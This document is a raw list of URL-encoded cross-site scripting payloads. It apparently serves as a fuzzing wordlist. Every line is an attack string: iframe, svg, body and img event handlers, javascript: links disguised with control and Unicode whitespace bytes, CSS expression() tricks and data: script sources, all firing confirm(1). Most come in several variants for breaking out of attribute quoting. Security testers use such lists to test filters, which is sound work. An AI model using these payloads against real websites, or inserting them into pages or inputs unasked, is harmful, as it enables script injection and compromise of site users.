%22%3E%3Ciframe%20onbeforeload%20iframe%20onbeforeload=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20onbeforeload%3E  
'%3E%3Ciframe%20onbeforeload%20iframe%20onbeforeload=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20onbeforeload%3E  
%3Ciframe%20src%20iframe%20src=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20src%3E  
%22%3E%3Ciframe%20src%20iframe%20src=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20src%3E  
'%3E%3Ciframe%20src%20iframe%20src=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20src%3E  
%3Csvg%20onload%20svg%20onload=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onload%3E  
%22%3E%3Csvg%20onload%20svg%20onload=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onload%3E  
'%3E%3Csvg%20onload%20svg%20onload=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onload%3E  
%3Chtml%20onmousemove%20html%20onmousemove=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onmousemove%3E  
%22%3E%3Chtml%20onmousemove%20html%20onmousemove=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onmousemove%3E  
'%3E%3Chtml%20onmousemove%20html%20onmousemove=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onmousemove%3E  
%3Cbody%20onblur%20body%20onblur=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onblur%3E  
%22%3E%3Cbody%20onblur%20body%20onblur=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onblur%3E  
'%3E%3Cbody%20onblur%20body%20onblur=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onblur%3E  
/x3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
'%22%60%3E%3Cscript%3E/*%20*/x2Fjavascript:confirm(1)//%20*/%3C/script%3E  
%3Cscript%3Ejavascript:confirm(1)%3C/script/x0D  
%22%3E%3Cscript%3Ejavascript:confirm(1)%3C/script/x0D  
'%3E%3Cscript%3Ejavascript:confirm(1)%3C/script/x0D  
%3Cscript%3Ejavascript:confirm(1)%3C/script/x0A  
%22%3E%3Cscript%3Ejavascript:confirm(1)%3C/script/x0A  
'%3E%3Cscript%3Ejavascript:confirm(1)%3C/script/x0A  
%3Cscript%3Ejavascript:confirm(1)%3C/script/x0B  
%22%3E%3Cscript%3Ejavascript:confirm(1)%3C/script/x0B  
'%3E%3Cscript%3Ejavascript:confirm(1)%3C/script/x0B  
%3Cscript%20charset=%22/x22%3Ejavascript:confirm(1)%3C/script%3E  
%22%3E%3Cscript%20charset=%22/x22%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3Cscript%20charset=%22/x22%3Ejavascript:confirm(1)%3C/script%3E  
%3C!--/x3E%3Cimg%20src=xxx:x%20onerror=javascript:confirm(1)%3E%20--%3E  
%22%3E%3C!--/x3E%3Cimg%20src=xxx:x%20onerror=javascript:confirm(1)%3E%20--%3E  
'%3E%3C!--/x3E%3Cimg%20src=xxx:x%20onerror=javascript:confirm(1)%3E%20--%3E  
--%3E%3C!--%20---%3E%20%3Cimg%20src=xxx:x%20onerror=javascript:confirm(1)%3E%20--%3E  
--%3E%3C!--%20--/x00%3E%20%3Cimg%20src=xxx:x%20onerror=javascript:confirm(1)%3E%20--%3E  
--%3E%3C!--%20--/x21%3E%20%3Cimg%20src=xxx:x%20onerror=javascript:confirm(1)%3E%20--%3E  
--%3E%3C!--%20--/x3E%3E%20%3Cimg%20src=xxx:x%20onerror=javascript:confirm(1)%3E%20--%3E  
%60%22'%3E%3Cimg%20src='  
%3Ca%20href=%22javascript/x3Ajavascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javascript/x3Ajavascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javascript/x3Ajavascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22'%60%3E%3Cp%3E%3Csvg%3E%3Cscript%3Ea='hello/x27;javascript:confirm(1)//';%3C/script%3E%3C/p%3E  
%3Ca%20href=%22javas/x00cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x00cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x00cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javas/x07cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x07cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x07cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javas/x0Dcript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x0Dcript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x0Dcript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javas/x0Acript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x0Acript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x0Acript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javas/x08cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x08cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x08cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javas/x02cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x02cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x02cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javas/x03cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x03cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x03cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javas/x04cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x04cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x04cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javas/x01cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x01cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x01cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javas/x05cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x05cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x05cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javas/x0Bcript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x0Bcript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x0Bcript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javas/x09cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x09cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x09cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javas/x06cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x06cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x06cript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javas/x0Ccript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javas/x0Ccript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javas/x0Ccript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Cscript%3E/*%20*/x2A/javascript:confirm(1)//%20*/%3C/script%3E  
%22%3E%3Cscript%3E/*%20*/x2A/javascript:confirm(1)//%20*/%3C/script%3E  
'%3E%3Cscript%3E/*%20*/x2A/javascript:confirm(1)//%20*/%3C/script%3E  
%3Cscript%3E/*%20*/x00/javascript:confirm(1)//%20*/%3C/script%3E  
%22%3E%3Cscript%3E/*%20*/x00/javascript:confirm(1)//%20*/%3C/script%3E  
'%3E%3Cscript%3E/*%20*/x00/javascript:confirm(1)//%20*/%3C/script%3E  
%3Cstyle%3E%3C/style/x3E%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
%22%3E%3Cstyle%3E%3C/style/x3E%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
'%3E%3Cstyle%3E%3C/style/x3E%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
%3Cstyle%3E%3C/style/x0D%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
%22%3E%3Cstyle%3E%3C/style/x0D%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
'%3E%3Cstyle%3E%3C/style/x0D%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
%3Cstyle%3E%3C/style/x09%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
%22%3E%3Cstyle%3E%3C/style/x09%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
'%3E%3Cstyle%3E%3C/style/x09%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
%3Cstyle%3E%3C/style/x20%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
%22%3E%3Cstyle%3E%3C/style/x20%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
'%3E%3Cstyle%3E%3C/style/x20%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
%3Cstyle%3E%3C/style/x0A%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
%22%3E%3Cstyle%3E%3C/style/x0A%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
'%3E%3Cstyle%3E%3C/style/x0A%3Cimg%20src=%22about:blank%22%20onerror=javascript:confirm(1)//%3E%3C/style%3E  
%22'%60%3EABC%3Cdiv%20style=%22font-family:'foo'/x7Dx:expression(javascript:confirm(1);/*';%22%3EDEF  
%22'%60%3EABC%3Cdiv%20style=%22font-family:'foo'/x3Bx:expression(javascript:confirm(1);/*';%22%3EDEF  
%3Cscript%3Eif(%22x//xE1/x96/x89%22.length==2)%20%7B%20javascript:confirm(1);%7D%3C/script%3E  
%22%3E%3Cscript%3Eif(%22x//xE1/x96/x89%22.length==2)%20%7B%20javascript:confirm(1);%7D%3C/script%3E  
'%3E%3Cscript%3Eif(%22x//xE1/x96/x89%22.length==2)%20%7B%20javascript:confirm(1);%7D%3C/script%3E  
%3Cscript%3Eif(%22x//xE0/xB9/x92%22.length==2)%20%7B%20javascript:confirm(1);%7D%3C/script%3E  
%22%3E%3Cscript%3Eif(%22x//xE0/xB9/x92%22.length==2)%20%7B%20javascript:confirm(1);%7D%3C/script%3E  
'%3E%3Cscript%3Eif(%22x//xE0/xB9/x92%22.length==2)%20%7B%20javascript:confirm(1);%7D%3C/script%3E  
%3Cscript%3Eif(%22x//xEE/xA9/x93%22.length==2)%20%7B%20javascript:confirm(1);%7D%3C/script%3E  
%22%3E%3Cscript%3Eif(%22x//xEE/xA9/x93%22.length==2)%20%7B%20javascript:confirm(1);%7D%3C/script%3E  
'%3E%3Cscript%3Eif(%22x//xEE/xA9/x93%22.length==2)%20%7B%20javascript:confirm(1);%7D%3C/script%3E  
%22'%60%3E%3C/x3Cimg%20src=xxx:x%20onerror=javascript:confirm(1)%3E  
%22'%60%3E%3C/x00img%20src=xxx:x%20onerror=javascript:confirm(1)%3E  
%3Cscript%20src=%22data:text/plain/x2Cjavascript:confirm(1)%22%3E%3C/script%3E  
%22%3E%3Cscript%20src=%22data:text/plain/x2Cjavascript:confirm(1)%22%3E%3C/script%3E  
'%3E%3Cscript%20src=%22data:text/plain/x2Cjavascript:confirm(1)%22%3E%3C/script%3E  
%3Cscript%20src=%22data:/xD4/x8F,javascript:confirm(1)%22%3E%3C/script%3E  
%22%3E%3Cscript%20src=%22data:/xD4/x8F,javascript:confirm(1)%22%3E%3C/script%3E  
'%3E%3Cscript%20src=%22data:/xD4/x8F,javascript:confirm(1)%22%3E%3C/script%3E  
%3Cscript%20src=%22data:/xE0/xA4/x98,javascript:confirm(1)%22%3E%3C/script%3E  
%22%3E%3Cscript%20src=%22data:/xE0/xA4/x98,javascript:confirm(1)%22%3E%3C/script%3E  
'%3E%3Cscript%20src=%22data:/xE0/xA4/x98,javascript:confirm(1)%22%3E%3C/script%3E  
%3Cscript%20src=%22data:/xCB/x8F,javascript:confirm(1)%22%3E%3C/script%3E  
%22%3E%3Cscript%20src=%22data:/xCB/x8F,javascript:confirm(1)%22%3E%3C/script%3E  
'%3E%3Cscript%20src=%22data:/xCB/x8F,javascript:confirm(1)%22%3E%3C/script%3E  
ABC%3Cdiv%20style=%22x/x3Aexpression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:expression/x5C(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:expression/x00(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:exp/x00ression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:exp/x5Cression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/x0Aexpression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/x09expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xE3/x80/x80expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xE2/x80/x84expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xC2/xA0expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xE2/x80/x80expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xE2/x80/x8Aexpression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/x0Dexpression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/x0Cexpression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xE2/x80/x87expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xEF/xBB/xBFexpression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/x20expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xE2/x80/x88expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/x00expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xE2/x80/x8Bexpression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xE2/x80/x86expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xE2/x80/x85expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xE2/x80/x82expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/x0Bexpression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xE2/x80/x81expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xE2/x80/x83expression(javascript:confirm(1)%22%3EDEF  
ABC%3Cdiv%20style=%22x:/xE2/x80/x89expression(javascript:confirm(1)%22%3EDEF  
%3Ca%20href=%22/x0Bjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x0Bjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x0Bjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x0Fjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x0Fjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x0Fjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xC2/xA0javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xC2/xA0javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xC2/xA0javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x05javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x05javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x05javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE1/xA0/x8Ejavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE1/xA0/x8Ejavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE1/xA0/x8Ejavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x18javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x18javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x18javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x11javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x11javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x11javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/x88javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/x88javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x80/x88javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/x89javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/x89javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x80/x89javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/x80javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/x80javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x80/x80javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x17javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x17javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x17javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x03javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x03javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x03javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x0Ejavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x0Ejavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x0Ejavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x1Ajavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x1Ajavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x1Ajavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x00javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x00javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x00javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x10javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x10javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x10javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/x82javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/x82javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x80/x82javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x20javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x20javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x20javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x13javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x13javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x13javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x09javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x09javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x09javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/x8Ajavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/x8Ajavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x80/x8Ajavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x14javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x14javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x14javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x19javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x19javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x19javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/xAFjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/xAFjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x80/xAFjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x1Fjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x1Fjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x1Fjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/x81javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/x81javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x80/x81javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x1Djavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x1Djavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x1Djavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/x87javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/x87javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x80/x87javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x07javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x07javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x07javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE1/x9A/x80javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE1/x9A/x80javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE1/x9A/x80javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/x83javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/x83javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
